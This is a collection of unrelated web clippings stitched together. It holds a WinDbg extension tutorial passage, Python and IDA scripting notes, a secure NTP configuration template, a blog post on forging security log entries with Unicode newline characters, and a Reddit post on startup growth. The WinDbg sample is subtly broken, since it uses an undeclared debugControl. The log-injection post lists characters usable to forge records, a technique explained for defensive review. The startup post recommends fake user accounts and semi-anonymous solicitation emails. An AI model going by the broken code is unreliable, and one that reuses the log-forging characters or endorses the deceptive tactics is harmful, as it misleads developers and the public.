**Creating Your Own Extension**

Now that we have some of the basics down, we can see how to actually create a
debugger extension. Debugger extensions are nothing more than DLLs that
provide commands via exports and rely on the DbgEng library and any other
Win32 API of their choosing. They can be built just like any other DLL, though
we’ll use the WDK seeing as how that’s what the available samples use. The
only other thing that you’ll need is the SDK subdirectory of the WinDBG
installation, as that’s where the necessary header and library files are
located.

**Extension DLL Entry Points**

There is a single required entry point for extension DLLs,
DebugExtensionInitialize. This is where you will do all of your one time
initialization for the extension DLL. A description of the entry point and the
function prototype can be found in dbgeng.h:

// Initialization routine. Called once when the

// extension DLL is loaded. Returns a version and

// returns flags detailing overall qualities of the

// extension DLL. A session may or may not be active

// at the time the DLL is loaded so initialization

// routines should not expect to be able to query

// session information.

typedef HRESULT \(CALLBACK\* PDEBUG\_EXTENSION\_INITIALIZE\)

\(\_\_out PULONG Version, \_\_out PULONG Flags\);

A simple example of a complete DebugExtensionInitialize is as follows:

extern "C"

HRESULT

CALLBACK

DebugExtensionInitialize\(PULONG Version, PULONG Flags\)

\{

//

// We're version 1.0 of our extension DLL

//

\*Version = DEBUG\_EXTENSION\_VERSION\(1, 0\);

//

// Flags must be zero

//

\*Flags = 0;

//

// Done\!

//

return S\_OK;

\}

There are two other entirely optional exports that you driver can provide,
DebugExtensionUninitialize andDebugExtensionNotify. DebugExtensionUninitialize
can be used to undo anything that you might have done in
DebugExtensionInitialize:

// Exit routine. Called once just before the

// extension DLL is unloaded. As with

// initialization, a session may or may not be

// active at the time of the call.

typedef void \(CALLBACK\* PDEBUG\_EXTENSION\_UNINITIALIZE\)

\(void\);

If present, DbgEng calls the DebugExtensionNotify callback for session state
changes:

// A debuggee has been discovered for the session.

// It is not necessarily halted.

\#define DEBUG\_NOTIFY\_SESSION\_ACTIVE 0x00000000

// The session no longer has a debuggee.

\#define DEBUG\_NOTIFY\_SESSION\_INACTIVE 0x00000001

// The debuggee is halted and accessible.

\#define DEBUG\_NOTIFY\_SESSION\_ACCESSIBLE 0x00000002

// The debuggee is running or inaccessible.

\#define DEBUG\_NOTIFY\_SESSION\_INACCESSIBLE 0x00000003

typedef void \(CALLBACK\* PDEBUG\_EXTENSION\_NOTIFY\)

\(\_\_in ULONG Notify, \_\_in ULONG64 Argument\);

The entire point of writing this DLL is to create your own debugger commands,
and those will also be exports of your DLL. These commands or, extensions must
appear in the .DEF file associated with your DLL and the exports must contain
only lower case letters. The function prototype of an extension command is as
follows:

// Every routine in an extension DLL has the

// following prototype. The extension may be called

// from multiple clients so it should not cache the

// client value between calls.

typedef HRESULT \(CALLBACK\* PDEBUG\_EXTENSION\_CALL\)

\(\_\_in PDEBUG\_CLIENT Client, \_\_in\_opt PCSTR Args\);

You’ll note that the function prototype indicates that a pointer to a
DEBUG\_CLIENT structure is passed as the first parameter to the extension
command. This is actually the client object whose QueryInterface method you
will use to gain access to the various client COM interfaces for target
manipulation.

Let’s see a simple example command that uses the built in expression evaluator
to add two and two together and then displays the result. This would be the
equivalent of typing ? 2 + 2 in the WinDBG command prompt.

HRESULT CALLBACK

mycommand\(PDEBUG\_CLIENT4 Client, PCSTR args\)

\{

PDEBUG\_CONTROL debugControl;

HRESULT hr;

DEBUG\_VALUE result;

UNREFERENCED\_PARAMETER\(args\);

//

// Let's do a couple of simple things. First

// thing to do is use the passed in client to

// access the debugger engine APIs.

//

// First, we'll get an IDebugControl so that we

// can print messages.

//

hr = Client->QueryInterface

\(\_\_uuidof\(IDebugControl\),

\(void \*\*\)&debugControl\);

if \(hr \!= S\_OK\) \{

return hr;

\}

//

// Now we can print.

//

debugControl->Output

\(DEBUG\_OUTCTL\_ALL\_CLIENTS,

"mycommand running...\n"\);

//

// Use the evaluator to evaluate an expression

//

hr = debugControl->Evaluate\("2 + 2",

DEBUG\_VALUE\_INT32,

&result,

NULL\);

if \(hr \!= S\_OK\) \{

debugControl->Release\(\);

return hr;

\}

debugControl->Output\(DEBUG\_OUTCTL\_ALL\_CLIENTS,

"Result is %d\n", result.I32\);

//

// Done with this.

//

debugControl->Release\(\);

return S\_OK;

\}

Hopefully the steps followed are fairly straightforward at this point. We’ve
taken the passed-in client object, created an instance of IDebugControl, and
then executed some methods on it to perform actions.

To further drive home the pattern, we can see how we’d get the offset of a
field of a data structure. For that, we need an instance of IDebugSymbols:

HRESULT CALLBACK

myothercommand\(PDEBUG\_CLIENT4 Client, PCSTR args\)

\{

PDEBUG\_SYMBOLS debugSymbols;

HRESULT hr;

ULONG fieldOffset;

ULONG typeId;

ULONG64 module;

UNREFERENCED\_PARAMETER\(args\);

//

// Let's find the offset of the CurrentThread

// field of the PRCB

//

hr = Client->QueryInterface

\(\_\_uuidof\(IDebugSymbols\),

\(void \*\*\)&debugSymbols\);

if \(hr \!= S\_OK\) \{

return hr;

\}

//

// We need the "type identifier" and module

// containing the symbol that we're interested

// in.

//

hr = debugSymbols->GetSymbolTypeId\("nt\!\_KPRCB",

&typeId,

&module\);

if \(hr \!= S\_OK\) \{

debugSymbols->Release\(\);

return hr;

\}

//

// Now we can get the offset.

//

hr = debugSymbols->GetFieldOffset

\(module,

typeId,

"CurrentThread",

&fieldOffset\);

if \(hr \!= S\_OK\) \{

debugSymbols->Release\(\);

return hr;

\}

debugControl->Output

\(DEBUG\_OUTCTL\_ALL\_CLIENTS,

"Offset of CurrentThread is %d\n",

fieldOffset\);

debugSymbols->Release\(\);

return S\_OK;

\}

**Dealing with 32-bit vs. 64-bit**

Note that when you’re writing a debugger extension command, your code is
always running on the host machine. Also note that the pointer size of the
host machine does not necessarily match the pointer size of the target
machine, due to the fact that 32-bit hosts can debug 64-bit targets and vice
versa. In order to deal with this, debugger extensions treat all addresses
from the target as 64-bit values. Thus you’ll note that the DbgEng APIs
express pointer addresses as ULONG64 values. Any 32-bit value used in your
extension command must be sign extended out to a full 64-bit value.

**Alternative Debugger Extension Interfaces**

To add to the confusion when it comes to writing a debugger extension, there
are two alternative interfaces that you can use to write your debugger
extensions. The first is the WdbgExts interface, which is the legacy debugger
extension interface that existed before DbgEng came around. This interface is
still available in the newest versions of the debugger, however it has two
drawbacks. First, it is not the forward moving API thus it is frozen in time
and will provide no new features. Second, this interface does not have any
support for writing standalone applications, thus it won’t port to any kind of
automated analysis tool that you might write. If you’re interested in learning
more about the legacy extension model, see this article on OSR Online.

The other interface available to you is the EngExtCpp interface. This is
actually just a C++ wrapper library around DbgEng to simplify common tasks
such as manipulating typed data. Unlike WdbgExts, this is a fully supported
interface and can be used alongside the direct DbgEng calls that we’ve
discussed in this article.

**Go forth\!**

Hopefully we’ve been able to clear up the cloud of mystery that hangs over
writing debugger extensions and have set you on a journey of creating your
own.

Source to a debug extension \(\!uniqstack\) can be downloaded from:
http://www.osronline.com/OsrDown.cfm/apexts.zip?name=apexts.zip&id=559

# Download a web page with Python | PureGuru.Org
**Created:**| _5/10/2011 4:01:42 PM_  
---|---  
**Updated:**| _5/10/2011 4:01:42 PM_  
**Author:**| __  
**Tags:**| _python web pentest programming_  
  

## Download a web page with Python

by Mario on 18/04/11 at 8:07 pm

<img src='img/Temp2_2375.jpg' width='100' height='100' alt='Download a web
page with Python' />

Downloading a single webpage \(just the page source\) with Python 3 is really
easy. But the first time I tried to do this using Python 3 I ran into a few
issues, which are really not problems but more of things you just need to know
to accomplish the task.

Here is a basic example \(the first thing I tried\):

12345| `import` `urllib.request as request` `f ``=`
`request.urlopen(url)``page ``=` `f.read()``f.close()`  
---|---  
There are a couple of problem though.

First problem is that the data type is bytes and it’s difficult for us to work
with this state, especially if you want t parse it.

12| `>>> ``type``(page)``<``class` `'bytes'``>`  
---|---  
We could try to convert it to a string.

1| `page ``=` `str``(f.read())`  
---|---  
But you would soon find out that even though the class is string the character
encoding is still bytes and trying to use functions like .split\(“\n”\) won’t
work.

1234567| `>>> ``print``(page)``b'<!DOCTYPE html PUBLIC ``"-//W3C//DTD XHTML
1.0 Transitional//EN"`
`"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"``>\r\n<html
xmlns``=``"http://www.w3.org/1999/xhtml"``>...` `>>> page ``=`
`page.split(``"\n"``)``Traceback (most recent call last):`` ``File`
`"<stdin>"``, line ``1``, ``in` `<module>``TypeError: ``Type` `str` `doesn't
support the ``buffer` `API`  
---|---  
To solve the second problem \(bytes encoding\) and get the page as a string
variable we need to add the decode function and specify the character set. In
the case of www.pureguru.org it’s uft-8.

12345678910111213| `import` `urllib.request as request` `f ``=`
`request.urlopen(url)``page ``=`
`str``(f.read().decode(``"utf-8"``))``f.close()` `>>>
page.split(``"\n"``)``[``'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r'``, ``'<html
xmlns="http://www.w3.org/1999/xhtml">\r'``, ...]` `>>>
``print``(page)``<!DOCTYPE html PUBLIC ``"-//W3C//DTD XHTML 1.0
Transitional//EN"`
`"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"``>``<html
xmlns``=``"http://www.w3.org/1999/xhtml"``>``...`  
---|---  
Now everything works and we can access the page as a standard Python string
variable.

Hopefully this helps anyone that runs into the same problems that I ran into
the first time using urlopen in Python 3.

# reverse-engineering-scripts - Project Hosting on Google Code

**Created:**| _2/17/2011 5:03:27 PM_  
---|---  
**Updated:**| _2/17/2011 5:03:38 PM_  
**Author:**| __  
**Tags:**| _python iDA reversing plugin scripting programming_  
  

This project will host diverse scripts that I create and use when I reverse
engineer code. The scripts will generally be Python or IDAPython and mostly
focused on performing specific and small tasks.

Some of the scripts will need different libraries/modules such as:

  * pefile
  * idapython

## Scripts

### IDA file Patcher

This simple script will scan the current IDB for changes and generate a
patched file

If the original input file can't be found at the original location where the
IDB was generated from, it will prompt the user with a dialog to choose the
original file. The original file is needed in order to compare the modifed
data and prepare a patched file.

The script will then scan the IDB for values that differ from the original
ones. Data can be patched in the IDB through IDC/IDAPython function such as:

> `PatchByte()` / `PatchWord()` / `PatchDword()`
Once the changes have been collected the script will propmt for a new file
where to store the patched data.

This script works with generic data files, PE files, ELF, raw data, etc As
long as the modified data has a counterpart on the file, it will be patched.
Beware that if the user adds new segments those will have no counterpart in
the original file and the script will ignore data in those.

Link to the latest revision

### IDA PEiD

This small script is intended as a small aid at finding possible packer code
in an IDA database. It will run PEiD signatures at all locations defined as
entry points.

The script requires pefile

The PEiD signatures will be automatically fetched from google-code. They can
be found in the downloads section. The signatures used are those created by
BoB / Team PEiD \(used with permission\)

Link to the latest revision

# Secure NTP Template - Team Cymru

**Created:**| _1/14/2014 9:06:27 PM_  
---|---  
**Updated:**| _1/14/2014 9:06:27 PM_  
**Author:**| __  
**Tags:**| _network-security protocol-analysis_  
  

# **S** ecure NTP Template****

The Network Time Protocol \(NTP\) is the de-facto means Internet hosts use to
synchronize their clocks**.** A reliable and accurate notion of time is
important for a number of services, including distributed applications,
authentication services, multi-user databases and logging services to name
just a few**.** The NTP is one of those few systems that sees ubiquitous
deployment across systems of all types and sizes**.** It is therefore
important that the NTP infrastructure is secure and trustworthy**.** Negligent
NTP configurations can lead to a select set of potential problems, including
NTP hosts becoming unwitting participants in reflector and amplification DDoS
attacks**.** This template provides guidelines for proper and secure operation
of the NTP service on a number of different platforms and configurations**.**

#### \! \! W A R N I N G \! **\!**

As with all such templates, this one must be modified to fit the specific
requirements of the local network\(s\) and hosts**.** It is not wise to simply
cut and paste without a thorough understanding of each command**.**

#### \! \! W A R N I N G \! **\!**

Comments are included with each command**.** A more thorough understanding of
NTP can be obtained from:

  * Network Time Protocol \(NTP\) Project 
  * Computer Network Time Synchronization: The Network Time Protocol, David L. Mills

### Questions, Comments, Suggestions****

Feedback is both welcome and encouraged**\!** This document is a work-in-
progress as changes to the operating systems and NTP implementations
evolve**.** Please send any correspondence to team-cymru@cymru.com **.**

### Credits****

Our thanks to the following folks for providing input and suggestions**\!**

  * Alan Amesbury
  * Barry Greene
  * Anthony Maszeroski
  * Donald Smith

### General Considerations****

All implementations use UDP**.** The NTP server port is 123, but the source
port is not easily determined without knowledge of the OS and NTP
implementation**.** We have even seen some implementations use port 123 for
both the source and destination port in NTP messages**.** While not shown, we
strongly encourage the use of IETF BCP 38 to limit spoofed traffic, but
particularly to help mitigate spoofed NTP amplification and reflection
attacks**.** The configurations shown here assume that the host is primarily
acting as an NTP client and not an NTP server that delivers time to large
populations of anonymous NTP clients**.** Those situations are less common and
are better suited in another BCP document where additional detail would need
to be covered in depth to adequately address time serving issues**.**

### Cisco IOS****

This is a template IOS configuration that should work for most sites, but pay
attention to the comments and notes**.** If your IOS devices synchronize with
a device that is capable of MD5 authentication, see further below for
authentication-specific statements**.** If you use control plane policing, be
sure you account for NTP traffic**.** You might also be interested in adding
the `log` tag to some of your ACLs so you know who is trying to talk NTP to
your boxes, but that is best left as a local decision so we have not included
it by default**.**

[code]

    **!** Core NTP configuration
    ntp update-calendar             **!** update hardware clock (certain hardware only, i.e. 6509s)
    ntp server 192**.** 0.2.1            ! a time server you sync with
    ntp peer   192**.** 0.2.2            ! a time server you sync with and allow to sync to you
    ntp source Loopback0            **!** we recommend using a loopback interface for sending NTP messages if possible
    **!**
    **!** NTP access control
    ntp access-group query-only 1   **!** deny all NTP control queries
    ntp access-group serve 1        **!** deny all NTP time and control queries by default
    ntp access-group peer 10        **!** permit time sync to configured peer(s)/server(s) only
    ntp access-group serve-only 20  **!** permit NTP time sync requests from a select set of clients
    **!**
    **!** access control lists (ACLs)
    access-list 1 remark utility ACL to block everything
    access-list 1 deny any
    **!**
    access-list 10 remark NTP peers/servers we sync to/with
    access-list 10 permit 192**.** 0.2.1
    access-list 10 deny any
    !
    access-list 20 remark Hosts/Networks we allow to get time from us
    access-list 20 permit 192**.** 0.2.0 0.0**.** 0.255
    access-list 20 deny any
    
[/code]

Simple NTP authentication using MD5 in IOS can easily be managed for a limited
set of static peers and upstream time providers that support it**.** Since
this is generally a manual process, MD5 authentication support for a a large
set of clients is likely to be unwieldy**.** Nonetheless, this feature
provides some additional protection from unwanted NTP messages**.** This
example assumes that you create an 'ntp authentication-key' for each
peer/server**.** The key can be re-used, but we do not recommend re-using the
same key with peers or upstreams from different autonomous systems. Also
create a 'ntp trusted-key' line for each keyid you've configured**.** Please
note, we have seen some gear limit the pass phrase to eight characters**.**

[code]

    ntp authenticate                            **!** enable NTP authentication
    ntp authentication-key [key-id] md5 [hash]  **!** define a NTP authentication key
    ntp trusted-key [key-id]                    **!** mark a NTP authentication key as trusted
    ntp peer [peer_address] key [key-id]        **!** form a authenticated session with a peer
    ntp server [server_address] key [key-id]    **!** form a authenticated session with a server
    
[/code]

The following commands may prove helpful to monitor or debug NTP issues on
IOS**.**

[code]

    ! general NTP and clock status
    show ntp status
    ! lists synchronization details with configured peer(s)/server(s)
    show ntp associations [detail]
    **!** shows or logs detailed NTP messages/packets
    ! WARNING: not recommended for general use in a production network**!****!**
    debug ntp [...]
    
[/code]

### Juniper JUNOS****

The following configuration statements will define one or more time servers
the router will obtain time from**.** The boot-server option is used to get a
significantly skewed clock back into sync**.** To protect the local ntpd
process in JUNOS you can use firewall filters on the loopback interface as you
likely do for other services**.** Authentication can also be done on the
Juniper ntpd process and it can be easily managed for a limited set of static
peers and upstream time providers that support it**.** Since this is generally
a manual process, authentication support for a large set of clients is likely
to be unwieldy**.** Nonetheless, this feature provides some additional
protection from unwanted NTP messages**.** This example assumes that you
create an ntp 'authentication-key' for each peer/server**.** The key can be
re-used, but we do not recommend re-using the same key with peers or upstreams
from different autonomous systems. Where you see the \[key-id\] option, adjust
that statement according to your authentication setup, if any**.**

[code]

    system {
        ntp {
            authentication-key [key-id] type md5 value "[pass-phrase]";
            trusted-key [key-id];
            /* Allow NTP to sync if server clock is significantly different than local clock */
            boot-server 192**.** 0.2**.** 1;
            /* NTP server to sync to */
            server 192**.** 0**.** 2.1;
            server 192.0.2**.** 2 key [key-id] prefer;
        }
    }
    
[/code]

You can use your loopback filter that shields the router from other anonymous
access to also limit who the local NTP service talks to**.** The relevant
section of that filter might look something like the following:

[code]

    from {
        source-address {
            0**.** 0.0.0/0;
            /* NTP server to get time from */
            192**.** 0.2.1/32 except;
        }
        protocol udp;
        port ntp;
    }
    then {
        discard;
    }
    
[/code]

### UNIX ntpd****

The following configuration is for a UNIX machine to act as simply an NTP
client and never to allow NTP queries to it except from the loopback address:

[code]

    # by default act only as a basic NTP client
    restrict -4 default nomodify nopeer noquery notrap
    restrict -6 default nomodify nopeer noquery notrap
    # allow NTP messages from the loopback address, useful for debugging
    restrict 127**.** 0.0.1
    restrict ::1
    # server(s) we time sync to
    server 192**.** 0.2.1
    server 2001:DB8::1
    server time.example.net
    
[/code]

You can use your standard host firewall filtering capabilities to limit who
the NTP process talks to**.** If you're using Linux and the host is acting as
an NTP client only, the following iptables rules could be adapted to shield
your NTP listener from unwanted remote hosts**.**

[code]

    -A INPUT -s 0/0 -d 0/0 -p udp --source-port 123:123 -m state --state ESTABLISHED -j ACCEPT
    -A OUTPUT -s 0/0 -d 0/0 -p udp --destination-port 123:123 -m state --state NEW,ESTABLISHED -j ACCEPT
    
[/code]

Authentication with the reference NTP software on UNIX can be done using
symmetric key encryption, much like in Cisco IOS and Juniper JUNOS, using
MD5**.** However, a public key-based approach called 'AutoKey' is also
available, which is generally be considered to be even more secure**.** For
more information about these options, see the NTP authentication options page
and the Configuring Autokey documentation **.**

### A Note About Broadcast/Multicast NTP****

In our experience multicast-enabled NTP clients are often setup with no
authentication or access control**.** Particularly on networks that are
connected to the multicast-enabled Internet, these hosts may be exposed to
unreliable and untrustworthy NTP servers**.** We recommend against multicast
NTP configurations unless it is absolutely necessary and even then we strongly
suggest the use of access control and authentication to mitigate the threat of
untrustworthy sources**.** If you do not need multicast NTP support, but you
do support IP multicast on your network, you should consider filtering the
well known multicast group address for NTP \(`224**.** 0.1.1`\) at your
border.

### A Note About Border NTP Filtering****

Some networks may consider filtering all or some NTP traffic between their
network and others**.** This is potentially very troublesome and should only
be considered and implemented with a full understanding of the
ramifications**.** We cannot advocate this action by default, but can offer
some guidelines to those who wish to do so**.**

All packets to/from TCP port 123 should be safe to filter since NTP by design
only uses UDP**.** This might, however, affect anyone who attempts to setup
another application on TCP port 123 for some reason or any possible future
extension of NTP that might use TCP**.**

Filtering packets from your networks to external networks with UDP source port
123 and/or packets to your networks from external networks with UDP
destination port 123 will certainly prevent your hosts from communicating as
NTP servers to outside entities, but it may also prevent some NTP hosts from
acting as NTP clients as well**.** We have seen some clients use port 123 for
source ports**.** Filtering in this scenario then may cause problems for those
clients**.**

If you can ensure your internal hosts will only act as clients and all
legitimate clients will use an unprivileged client port selection strategy you
could probably apply the above aforementioned filter**.** We would recommend
logging or monitoring the filters to assist with troubleshooting should it be
necessary**.** Also, use your systems's built in NTP monitoring capabilities
to ensure all your NTP client systems remain in sync**.**

If you block all UDP 123 traffic so that no clients may talk to external
servers, you should ensure all your internal hosts are setup to use one or
more internal NTP servers**.** Since many system components rely on an
accurate notition of time and most use NTP to do so, it is important to
provide this service**.** Note, except for the most limited and restrictive of
networks, we do not find it necessary to completely block NTP for all your
hosts as long as those hosts can be secured in the kinds of ways suggested in
the template configs above**.**

### References****

****

# Internet Security Ramblings - Injecting new line characters \(e.g. CR LF\)
into security logs with Unicode

**Created:**| _5/12/2011 8:32:08 PM_  
---|---  
**Updated:**| _5/12/2011 8:32:08 PM_  
**Author:**| __  
**Tags:**| _web-app-sec awesome Obfuscation_  
  

## Injecting new line characters \(e.g. CR LF\) into security logs with
Unicode

Today I was asked if ESAPI’s approach to sanitizing log messages for CRLF
\(carriage return, line feed\) injection was sound. “CRLF Injection” in this
case describes an attack whereby textual content such as records in a security
log can be forged. Imagine if a plain text security log file separates log
entries with two CRLF sequences. I’m using plain text here to keep it simple,
but hopefully real logs would be using some form of markup. In hex this would
look like 0x0D 0x0A 0x0D 0x0A. If the input validation routines did not
sanitize CR LF characters then an attacker could manipulate their input to
create what appeared to be new records in the log. Here’s a snippet from ESAPI
which attempts to protect against this:

` // ensure no CRLF injection into logs for forging records`  
`String clean = message.replace('\n', '_').replace('\r', '_');  
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {  
clean = ESAPI.encoder().encodeForHTML(message);  
if (!message.equals(clean)) {  
clean += " (Encoded)";  
}  
``}`

**Note:** I have never worked with or tested ESAPI. I don’t know what actions
the methods `getLogEncodingRequired()` and `encodeForHTML(message)` perform,
so I don’t know at all if ESAPI would be vulnerable to the attacks I’m about
to describe. Maybe someone from ESAPI can jump in. I’m only using ESAPI to
make the example more realistic.

ESAPI is concerned with the visual \(human-readable\) appearance of log
entries here and not how software processes the characters in those entries.
There seem to be three vectors that would screw up ESAPIs logic for protecting
against CRLF injection:

  1. Unicode normalization that decomposes and maps a character \(or set of\) to either a CR or an LF  
**\* Not a problem.**

  2. ****Charset best-fit mappings that map input characters to either CR or LF during transcoding  
**\* Unpredictable problem.**

  3. ****Unicode characters that provide the same visual effect as CR and LF  
**\* Definitely a problem.**

\#1 you don’t have to worry about it. The four Unicode normalization forms do
not map any characters to CR or LF.

\#2 Best-fits are tough to predict, because they can differ per platform.
Below are the set of characters I know that will best-fit map to either U+000A
\(LF\) or U+000D \(CR\) in the given charset \(e.g. CP424\).

`000A 008E #REPEAT CP424  
000A 25D9 -- IBMGRAPH  
000A 008E #CONTROL CP037  
000A 008E #CONTROL CP1026  
000A 008E #CONTROL CP500  
000A 008E #CONTROL CP875  
000A 2326 # ERASE TO THE RIGHT # Delete right (right-to-left text) KEYBOARD  
000D 266A 02 IBMGRAPH  
`

\#3 Here is the most practical and most obvious attack. Each of the following
Unicode characters \(code points\) will create a visual “new line” effect.

`U+000A LINE FEED (LF)  
U+000B LINE TABULATION  
U+000D CARRIAGE RETURN (CR)  
U+000C FORM FEED (FF)  
U+0085 NEXT LINE (NEL)  
U+2028 LINE SEPARATOR  
U+2029 PARAGRAPH SEPARATOR  
`

Meaning ESAPI should be filtering out all of these as well if it plans to
handle Unicode input.

Of course there’s a \#4 I didn’t mention – concerning the target locale and
character encoding of the logs.

I assume this ESAPI function is concerned with logs written to using Latin
characters in a Western locale. I tend to agree that blacklisting is not the
best answer but sometimes it makes sense and works. If the logs are written
out in plain text encoded with UTF-8 or other Unicode encoding then \#3 above
would be a problem.

Isn’t the whacky world of Unicode and internationalization fun?

# How startups such as Dropbox, Airbnb, Groupon and others acquired their
first users. : Entrepreneur

**Created:**| _8/24/2014 8:20:02 PM_  
---|---  
**Updated:**| _8/24/2014 8:20:02 PM_  
**Author:**| __  
**Tags:**| _business_  
  

How startups such as Dropbox, Airbnb, Groupon and others acquired their first
users. \(self.Entrepreneur\)

eingereicht

20 Tagen zuvor

\*

von TapesIt x2

A while back I asked whether people would be interested in reading about the
stories behind the launches of well-known startups. People seemed to like the
idea, so I went ahead and compiled some details on the user acquisition
strategies used by a few of the better known companies. I wrote more in-depth
articles, but I'll share the most interesting aspects here.

  * **Dropbox going from 5000 to 75,000 wait-list signups in one night**

Back in 2008, Dropbox was struggling to get new users. They were running an
Adsense campaign, unsuccessfully. For every $300 they spent, they'd acquire a
user who paid for the $99 product. After going at this for a while, Drew
Houtson and his team decided to try something different.

Drew made a simple, four minute video showing off how Dropbox worked. Because
the service doesn't sound as impressive in text, having a video to show off
how it actually functioned worked wonders. Here's a link to the video. Another
aspect of the video that is important to note is that it was tailored to the
community it was being shown to. Drew was a member of the Digg community, and
knew what kinds of things they'd appreciate. If you pay close attention, the
video is full of references to things like TPS reports and Tom Cruise. It was
full of inside jokes, and quickly got voted to the top of Digg. By the next
day, they had 70,000 new signups.

Another thing that Dropbox did that we might be able to emulate while
marketing our own products is offering extra services for social shares.
Dropbox ran an extensive campaign during which you could share the service on
Facebook and Twitter for an additional 128MB of space. It was something the
users wanted \(as opposed to just giving away a peice of technology in a
raffle\), and lead to 2.8 million invitations being sent during the first 30
days.

Full write-up with history, a few more details, etc.

  * **How reddit and Quora got past the chicken and egg problem of having no content / users**

Quora and reddit solved the "empty site = no users / no users = empty site"
problem in similar ways. The founders of both services spent the first months
filling them with content themselves.

On Quora, the founders simply answered and asked lots of questions under their
own profiles. But the reddit approach was a bit more interesting. Instead of
just using their own accounts, the founders would create fake users to make it
look like there were multiple people submitting links. Their 'submit link'
form featured a third slot: "Username". According to Steve Huffman, reddit
cofounder, it took several months until they didn’t have to submit content
themselves to fill up the front page.

They also focused on keeping everybody in the same place in the beginning.
reddit had no subreddits, and Quora was mostly focused on technology. Instead
of having users spread out, everyone was in the same place- making the
community feel bigger than it was.

Quora and reddit write-up

  * **Foursquare**

Foursquare took the old concept of local apps and added several interesting
features that really attracted attention, like the badges. Becoming the
"mayor", or the person who checks in the most at a certain place, quickly
became an addiction for people.

They also gave merchants the opportunity to interact with their customers a
lot better than most apps. After the business claimed their Foursquare page,
they could interact with the people who were checking in at their
establishment- whether they just wanted to chat with their most active
customers, or actually wanted to reward people who check in.

And lastly, a huge part of Foursquare's growth was due to their city by city
strategy. Every time they expanded to a new city, they had a huge amount of
new users signing up due to the word of mouth effect \("have you heard that
Foursquare just came to our city?"\) and local media covering the app.

Foursquare write-up

  * **Groupon started with a local MVP**

I really like the story behind Groupon because it is a great example of the
things we repeat on this subreddit so much. Start local, and make a minimal
viable product.

Groupon started as local as they could get. They went around the office
building that they were renting a space in, asking people to sign up. Their
first campaign? Half-priced pizzas at the restaurant on the first floor. The
first 500 signups came from here.

After that, they stuck to focusing on local products and services. Because big
companies such as Amazon or Wal-Mart were able to negotiate such low prices,
not even a big group-buying website could compete with them when it came to
items such as televisions and phones. So instead, Groupon focused on unique
products from local businesses. A lot of these smaller establishments had
never even tried marketing, so Groupon's offer was enticing. They were able to
negotiate much better prices.

As far as the MVP goes, Andrew Mason didn't want to waste time developing a
full platform around the Groupon idea. Instead of trying to build a big team
like he had with his first business venture, he got a few people together and
set up a WordPress blog that the team would post offers on. Coupons were
individually emailed, and no one had a clear idea of what their role or title
in the company really was. They spent their first months focusing on seeing
how many users they could get as quickly as possible in order to validate the
idea, and then started looking into the business side of the company once it
was clear that they were onto something big.

And lastly, Groupon focused on offers that were inherently social early on.
They had deals for things like cafes, restaurants or movies. These are all
things that you invite other people to, so it naturally lead to people sharing
the website.

Groupon write-up

  * **Tinder**

Tinder had two things going for it. It started local, and it was dead simple.

The app did a great job at taking the tired concept of dating online and re-
doing it completely. Instead of directories of people and search, you simply
have a person's image appear, and you swipe left or right. It’s basically the
same feature that made HotOrNot and Facemash fun, brought to mobile. The
double opt-in feature helped with the problem that lots of users have on
traditional dating websites: if you are an attractive female, you're swamped
with messages. If you're a guy who isn't having a lot of luck on the website,
most of your messages go unanswered. Because you aren't able to message
somebody on Tinder without them also liking you, both these problems were
solved to a large extent.

And more interestingly, Tinder also started locally. Having 50 users in a
small space is a lot better for this kind of app than having 5000 spread out
users. Here's my favorite part: they threw exclusive parties at USC. To enter,
you had to install Tinder on your phone. You can just imagine the amount of
word-of-mouth they got out of that.

Tinder write-up

  * **Airbnb used another platform \[Craigslist\] to get early users**

I also found Airbnb's strategy interesting. Unlike with reddit and Quora,
putting up fake offers wasn't going to work. So instead, they did something a
bit different. They used a marketplace that already had a lot of vacation
homes to grow: Craigslist. A lot of the people who posted their homes on
Craigslist's vacation homes section received an odd email from a "big fan of
Airbnb."

_I am emailing you because you have one of the nicest listings in Craigslist
in the Tahoe area, and I want to recommend you feature it to one of the
largest vacation rental marketplaces on the web, Airbnb. The site already has
3,000,000 page views a month\! Check it out here:http://www.airbnb.com_

Each one came accompanied by a semi-anonymous Gmail account, such as Jill D.
The thing is, these messages worked. Lots of people started posting their
homes on Airbnb as well as Craigslist, which solved the big problem of having
users check for places only to find an empty website. The supply side is a lot
harder to fill up on a website like Airbnb.

And as a side note, one thing that also helped early on was going around to
user's homes and helping them with their photos. This is a great example of
doing things that don't scale early on. They went from $200 a week to $400
after updating their website with the new photos for each offering. It might
not seem that big considering the money Airbnb makes today, but I know that a
lot of /r/Entrepreneur users would love that kind of increase in profit.

Airbnb write-up

Those are the ones I have done so far. I enjoyed digging around to see exactly
how they were able to get such large numbers of users in such little amounts
of time. In the original thread, I mentioned that I was thinking about posting
these on some website related to startup stories. I might do that someday, if
I get enough content written and people like these. But for now, I just posted
them on a personal site so that people can read them. Good enough for me.

**Takeaway**

The whole point of this is to look at what successful startups did, and see if
we can apply it to our own marketing. Some key points to consider:

  * Try making a video to explain your service, if text isn't doing it justice. And if you do, make sure to target the community you'll be sharing to. 
  * The best way to make your new community not look like a ghost town is to fill it up yourself. Whether you take the reddit approach of fake users or go with Quora's team of active members depends on what kind of community it is. Having fake users on Quora, an important aspect of which is credentials for every user, wouldn't have worked.
  * Is there already an existing user base on another service that you can tap into? Try taking Airbnb's approach and seeing if you can get some of them onto your website. When doing this, it's important to note that what you're offering should be better in some way.
  * Local is key in a lot of these stories. It's much easier and cheaper to focus on one subset of people than trying to get them all.

# archives/67/p67\_0x0a\_Dynamic Program Analysis and Software
Exploitation\_by\_BSDaemon.txt

**Created:**| _11/18/2010 5:49:33 PM_  
---|---  
**Updated:**| _11/18/2010 5:51:48 PM_  
**Author:**| __  
**Tags:**| _research reversing awesome Tainting_  
  

# IMMUNITY : Knowing You're Secure

**Created:**| _6/18/2009 10:45:33 PM_  
---|---  
**Updated:**| _6/18/2009 10:45:42 PM_  
**Author:**| __  
**Tags:**| _bookmark security tools Exploit_  
  

## Free Software

These tools have been released under the GNU Public License by Immunity. By
releasing tools, such as these, we hope to demonstrate our knowledge
leadership, and give back to the security community as a whole.  
  
**MOSDEF 2.0**  
A C-like compiler suite originally built for and designed for Immunity's
CANVAS attack framework written completely in Python.  
Download Current Tarball  
Download PDF  
  
**VAASeline 1.02**  
